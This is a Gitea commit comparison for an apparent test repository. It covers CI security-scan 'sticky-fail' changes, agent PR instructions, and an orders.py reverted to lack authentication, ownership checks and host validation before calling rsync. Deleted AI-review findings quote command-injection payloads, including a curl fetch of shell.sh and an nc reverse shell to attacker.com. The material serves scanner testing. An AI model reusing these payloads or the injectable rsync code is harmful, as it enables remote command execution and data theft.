Compare commits

..
Author SHA1 Message Date
testclient-admin a66aa0ced8 Merge pull request 'Merge orders module into main' (#10) from feature/orders-module into main
Reviewed-on: testclient-admin/playground#10
2026-08-23 16:25:38 +00:00
testclient-admin 74a056e8a5 Merge pull request 'docs: AGENTS.md — PR только через gitea MCP' (#11) from infra/agents-md-mcp-pr-rule into main
Reviewed-on: testclient-admin/playground#11
2026-08-23 16:25:22 +00:00
testclient-admin 5d7cec819b Merge pull request 'Add Level 0 + Level 1 + Level 2 security scanning' (#12) from add-security-scanning into main
Reviewed-on: testclient-admin/playground#12
2026-08-23 16:25:10 +00:00
playground-security-bot 526c2862f6 security: scan results for PR #12
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 16:13:56 +00:00
playground-security-bot 063faeaa5a security: scan results for PR #12
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 16:12:26 +00:00
testclient-admin bae21bcff8 Level 0: security scanning for pull requests
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 1m8s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 20s
security / deep-audit (pull_request) Skipped
2026-08-23 16:11:13 +00:00
testclient-admin 0103775e5a Level 0: security scanning for pull requests 2026-08-23 16:11:12 +00:00
testclient-admin 4777411360 Level 0: security scanning for pull requests 2026-08-23 16:11:11 +00:00
playground-security-bot 323ebd1e28 security: scan results for PR #11
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 15:44:02 +00:00
dev1-playground-agent ff68f216ce docs: clarify AGENTS.md — git native, PR via gitea MCP only
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 1m14s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 20s
security / deep-audit (pull_request) Skipped
2026-08-23 15:42:43 +00:00
playground-security-bot 083efd8493 security: scan results for PR #10
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 15:31:44 +00:00
playground-security-bot 5794d806d4 security: AI review results for PR #9
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 15:30:27 +00:00
playground-security-bot 61e2a9bb44 security: scan results for PR #9
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 15:29:49 +00:00
20 changed files with 159 additions and 798 deletions
+46 -10
View File
@@ -154,6 +154,22 @@ jobs:
blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]] blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]]
blocked = len(blocking) > 0 blocked = len(blocking) > 0
# Один и тот же коммит может быть провёрен дважды (см. баг
# Gitea с переиспользованием SHA между разными PR — два
# параллельных прогона на идентичный коммит). Статус в
# Gitea хранит только ПОСЛЕДНЮЮ запись по (sha, context),
# так что более поздний, но менее строгий результат тихо
# затирает более ранний блокирующий. Раз уже была
# зафиксирована блокировка на этом коммите — не снимаем
# её молча, только новым коммитом.
prior_failed = False
try:
prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses")
prior_failed = any(s.get("context") == "security/scan" and s.get("status") == "failure" for s in prior)
except Exception as e:
print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
sticky = prior_failed and not blocked
outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}"
os.makedirs(outdir, exist_ok=True) os.makedirs(outdir, exist_ok=True)
outpath = f"{outdir}/{int(time.time())}.json" outpath = f"{outdir}/{int(time.time())}.json"
@@ -177,19 +193,22 @@ jobs:
for f in top: for f in top:
body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n" body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n"
body += f"Полный список: `{outpath}`\n\n" body += f"Полный список: `{outpath}`\n\n"
body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" if sticky:
body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне; новый прогон нашёл меньше, но старую блокировку это не снимает (нужен новый коммит).\n"
else:
body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body}) gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body})
gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", { gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", {
"state": "failure" if blocked else "success", "state": "failure" if (blocked or sticky) else "success",
"context": "security/scan", "context": "security/scan",
"description": f"{len(findings)} findings, {len(blocking)} blocking", "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")),
"target_url": f"{SERVER}/{REPO}/src/branch/{HEAD_REF}/{outpath}", "target_url": f"{SERVER}/{REPO}/src/branch/{HEAD_REF}/{outpath}",
}) })
print(f"findings: {len(findings)}, blocking: {len(blocking)}") print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}")
if blocked: if blocked or sticky:
sys.exit(1) sys.exit(1)
PYEOF PYEOF
@@ -440,6 +459,20 @@ jobs:
blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]] blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]]
blocked = len(blocking) > 0 blocked = len(blocking) > 0
# См. аналогичный комментарий в шаге scan: LLM-ревьюер не
# детерминирован, а один коммит может быть провёрен дважды
# параллельно (баг Gitea с переиспользованием SHA между
# PR). Если более ранний прогон на ЭТОМ ЖЕ коммите уже
# нашёл блокирующую находку, более поздний "пустой" ответ
# модели не должен тихо снимать блокировку.
prior_failed = False
try:
prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses")
prior_failed = any(s.get("context") == "security/review" and s.get("status") == "failure" for s in prior)
except Exception as e:
print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
sticky = prior_failed and not blocked
outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}"
outpath = f"{outdir}/{int(time.time())}-review.json" outpath = f"{outdir}/{int(time.time())}-review.json"
@@ -467,19 +500,22 @@ jobs:
if f.get("exploit_scenario"): if f.get("exploit_scenario"):
body += f" сценарий: {f['exploit_scenario']}\n\n" body += f" сценарий: {f['exploit_scenario']}\n\n"
body += f"Полный список: `{outpath}`\n\n" body += f"Полный список: `{outpath}`\n\n"
body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n" if sticky:
body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне ревью; новый прогон ничего не нашёл, но старую блокировку это не снимает (нужен новый коммит).\n"
else:
body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body}) gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body})
gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", { gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", {
"state": "failure" if blocked else "success", "state": "failure" if (blocked or sticky) else "success",
"context": "security/review", "context": "security/review",
"description": f"{len(findings)} findings, {len(blocking)} blocking", "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")),
"target_url": f"{SERVER}/{REPO}", "target_url": f"{SERVER}/{REPO}",
}) })
print(f"findings: {len(findings)}, blocking: {len(blocking)}") print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}")
if blocked: if blocked or sticky:
sys.exit(1) sys.exit(1)
PYEOF2 PYEOF2
+7 -2
View File
@@ -8,8 +8,13 @@
прямой push всё равно отклонится. Для любой задачи: прямой push всё равно отклонится. Для любой задачи:
1. Создай новую ветку от `main` с понятным именем по задаче. 1. Создай новую ветку от `main` с понятным именем по задаче.
2. Делай коммиты в неё как обычно. 2. Делай коммиты в неё как обычно (`git add`, `git commit`, `git push`
3. Когда готово — открой pull request в `main` и опиши, что сделано. обычный нативный git, доступы уже настроены).
3. Когда готово — открой pull request в `main` ЧЕРЕЗ ИНСТРУМЕНТ gitea MCP
(не через git push с параметрами PR, не через веб-логин, не проси
логин/пароль — они не нужны). Открытие PR/issue — это единственная
операция, которая должна идти через MCP; сам git (clone/commit/push)
остаётся обычным.
Дальше pull request проходит автоматическую проверку (security-скан) и Дальше pull request проходит автоматическую проверку (security-скан) и
ревью — это не твоя забота, просто открой PR и жди. ревью — это не твоя забота, просто открой PR и жди.
+2 -66
View File
@@ -1,67 +1,3 @@
# Модуль учёта заказов клиентов # playground
Простой HTTP-сервис для управления заказами клиентов. Тестовый проект testclient
## Структура
- `orders.py` — основной модуль сервера
- `requirements.txt` — зависимости проекта
## Функционал
### Хранение заказов
Заказы хранятся в памяти в словаре `orders`. Каждый заказ имеет:
- `id` — уникальный идентификатор
- `user_id` — владелец заказа
- `amount` — сумма заказа
### Эндпоинты
#### GET /orders/{id}
Получение заказа по ID. Требует авторизации через заголовок `Authorization: Bearer <token>`.
**Пример:**
```bash
curl -H "Authorization: Bearer <your-token>" http://localhost:8000/orders/1
```
#### POST /orders/{id}
Изменение суммы заказа. Принимает JSON с полем `amount` в теле запроса.
**Пример:**
```bash
curl -X POST -H "Authorization: Bearer <your-token>" \
-H "Content-Type: application/json" \
-d '{"amount": 500}' \
http://localhost:8000/orders/1
```
#### GET /admin/backup
Проверка готовности эндпоинта бэкапа.
#### POST /admin/backup
Инициация бэкапа данных на удалённый хост. Принимает JSON с полем `host` в теле запроса.
**Пример:**
```bash
curl -X POST -H "Authorization: Bearer <your-token>" \
-H "Content-Type: application/json" \
-d '{"host": "backup.example.com"}' \
http://localhost:8000/admin/backup
```
Бэкап выполняется асинхронно через rsync. Уведомления о статусе бэкапа отправляются через GitHub Notifications (на текущем этапе просто логируются).
## Запуск
```bash
pip install -r requirements.txt
python orders.py
```
Сервер запустится на `localhost:8000`.
+13 -94
View File
@@ -3,48 +3,15 @@
from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPServer, BaseHTTPRequestHandler
import json import json
import subprocess
import threading import threading
import time import time
import hashlib
import hmac
import os
import re
import subprocess
orders = {} orders = {}
GitHubToken = "ghp_dummytoken_for_backup_notifications"
class OrdersHandler(BaseHTTPRequestHandler): class OrdersHandler(BaseHTTPRequestHandler):
def check_auth(self):
auth_header = self.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return False
token = auth_header[7:]
return self._validate_auth()
def _validate_token(self, token):
if not token.startswith("token_"):
return False
parts = token.split(":")
if len(parts) >= 2:
self._user_id = parts[1]
return True
self._user_id = None
return False
def _validate_auth(self):
auth_header = self.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return False
token = auth_header[7:]
if self._validate_token(token):
return True
admin_token = os.getenv("ADMIN_TOKEN", "")
if admin_token and token == admin_token:
self._user_id = "admin"
return True
return False
def send_json_response(self, status_code, data): def send_json_response(self, status_code, data):
self.send_response(status_code) self.send_response(status_code)
self.send_header("Content-Type", "application/json") self.send_header("Content-Type", "application/json")
@@ -53,52 +20,30 @@ class OrdersHandler(BaseHTTPRequestHandler):
def do_GET(self): def do_GET(self):
if self.path.startswith("/orders/"): if self.path.startswith("/orders/"):
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
order_id = self.path.split("/")[-1] order_id = self.path.split("/")[-1]
if order_id in orders: if order_id in orders:
if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
self.send_json_response(403, {"error": "Forbidden"})
return
self.send_json_response(200, orders[order_id]) self.send_json_response(200, orders[order_id])
else: else:
self.send_json_response(404, {"error": "Order not found"}) self.send_json_response(404, {"error": "Order not found"})
elif self.path == "/admin/backup": elif self.path == "/admin/backup":
if not getattr(self, "_user_id", None) == "admin":
self.send_json_response(403, {"error": "Forbidden - admin access required"})
return
self.send_json_response(200, {"status": "backup_endpoint_ready"}) self.send_json_response(200, {"status": "backup_endpoint_ready"})
else: else:
self.send_json_response(404, {"error": "Not found"}) self.send_json_response(404, {"error": "Not found"})
def do_POST(self): def do_POST(self):
if self.path.startswith("/orders/"): if self.path.startswith("/orders/"):
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
order_id = self.path.split("/")[-1] order_id = self.path.split("/")[-1]
content_length = int(self.headers.get("Content-Length", 0)) content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode() body = self.rfile.read(content_length).decode()
data = json.loads(body) data = json.loads(body)
if "amount" in data: if "amount" in data:
if order_id not in orders: if order_id not in orders:
orders[order_id] = {"id": order_id, "user_id": getattr(self, "_user_id", None), "amount": 0} orders[order_id] = {"id": order_id, "user_id": "unknown", "amount": 0}
else:
if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
self.send_json_response(403, {"error": "Forbidden"})
return
orders[order_id]["amount"] = data["amount"] orders[order_id]["amount"] = data["amount"]
self.send_json_response(200, orders[order_id]) self.send_json_response(200, orders[order_id])
else: else:
self.send_json_response(400, {"error": "Missing amount field"}) self.send_json_response(400, {"error": "Missing amount field"})
elif self.path == "/admin/backup": elif self.path == "/admin/backup":
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
if not getattr(self, "_user_id", None) == "admin":
self.send_json_response(403, {"error": "Forbidden - admin access required"})
return
content_length = int(self.headers.get("Content-Length", 0)) content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode() body = self.rfile.read(content_length).decode()
data = json.loads(body) data = json.loads(body)
@@ -114,19 +59,18 @@ class OrdersHandler(BaseHTTPRequestHandler):
def _perform_backup(self, host): def _perform_backup(self, host):
def run_backup(): def run_backup():
try: try:
validated_host = self._validate_host(host) result = subprocess.run(
if not validated_host: ["rsync", "-avz", "/workspace/", f"{host}:/backup/orders/"],
print(f"Invalid host: {host}") capture_output=True,
self._notify_github(f"Backup failed: invalid host {host}") text=True,
return timeout=30
cmd = ["rsync", "-avz", "/workspace/", f"{validated_host}:/backup/orders/"] )
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
if result.returncode == 0: if result.returncode == 0:
print(f"Backup to {validated_host} completed successfully") print(f"Backup to {host} completed successfully")
self._notify_github(f"Backup to {validated_host} completed successfully") self._notify_github(f"Backup to {host} completed successfully")
else: else:
print(f"Backup failed: {result.stderr}") print(f"Backup failed: {result.stderr}")
self._notify_github(f"Backup to {validated_host} failed: {result.stderr}") self._notify_github(f"Backup to {host} failed: {result.stderr}")
except FileNotFoundError: except FileNotFoundError:
print("rsync not found, simulating backup") print("rsync not found, simulating backup")
self._notify_github(f"Backup simulation completed for {host} (rsync not available)") self._notify_github(f"Backup simulation completed for {host} (rsync not available)")
@@ -137,33 +81,8 @@ class OrdersHandler(BaseHTTPRequestHandler):
thread = threading.Thread(target=run_backup) thread = threading.Thread(target=run_backup)
thread.start() thread.start()
def _validate_host(self, host):
if not host:
return None
host = host.strip()
if len(host) > 255:
return None
if host.startswith('--'):
return None
if ' ' in host:
return None
ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'
if re.match(ip_pattern, host):
parts = host.split('.')
if all(0 <= int(p) <= 255 for p in parts):
return host
return None
if re.match(domain_pattern, host):
return host
return None
def _notify_github(self, message): def _notify_github(self, message):
token = os.getenv("GITHUB_TOKEN") print(f"[GitHub Notification] {message}")
if token:
print(f"[GitHub Notification] {message}")
else:
print(f"[GitHub Notification] {message}")
pass pass
def log_message(self, format, *args): def log_message(self, format, *args):
-2
View File
@@ -1,2 +0,0 @@
flask==2.3.3
Werkzeug==2.3.7
@@ -0,0 +1 @@
[]
@@ -0,0 +1 @@
[]
@@ -0,0 +1 @@
[]
@@ -0,0 +1 @@
[]
@@ -1,56 +0,0 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
}
]
@@ -1,86 +0,0 @@
[
{
"id": "ai-review-0-orders.py-83",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.8,
"file": "orders.py",
"line_start": 83,
"line_end": 83,
"title": "Недостаточная очистка host от спецсимволов для командной инъекции",
"description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.",
"impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.",
"evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.",
"recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 47,
"title": "Отсутствие проверки ownership заказа",
"description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.",
"impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.",
"exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.",
"evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)",
"recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-2-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.",
"impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.",
"exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
"recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-3-orders.py-62",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 62,
"line_end": 65,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации",
"description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).",
"impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.",
"exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.",
"evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)",
"recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
}
]
@@ -1,56 +0,0 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]
@@ -1,86 +0,0 @@
[
{
"id": "ai-review-0-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
"impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
"recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 65,
"title": "IDOR при доступе к заказам",
"description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
"impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
"evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
"recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 70,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
"impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
"exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
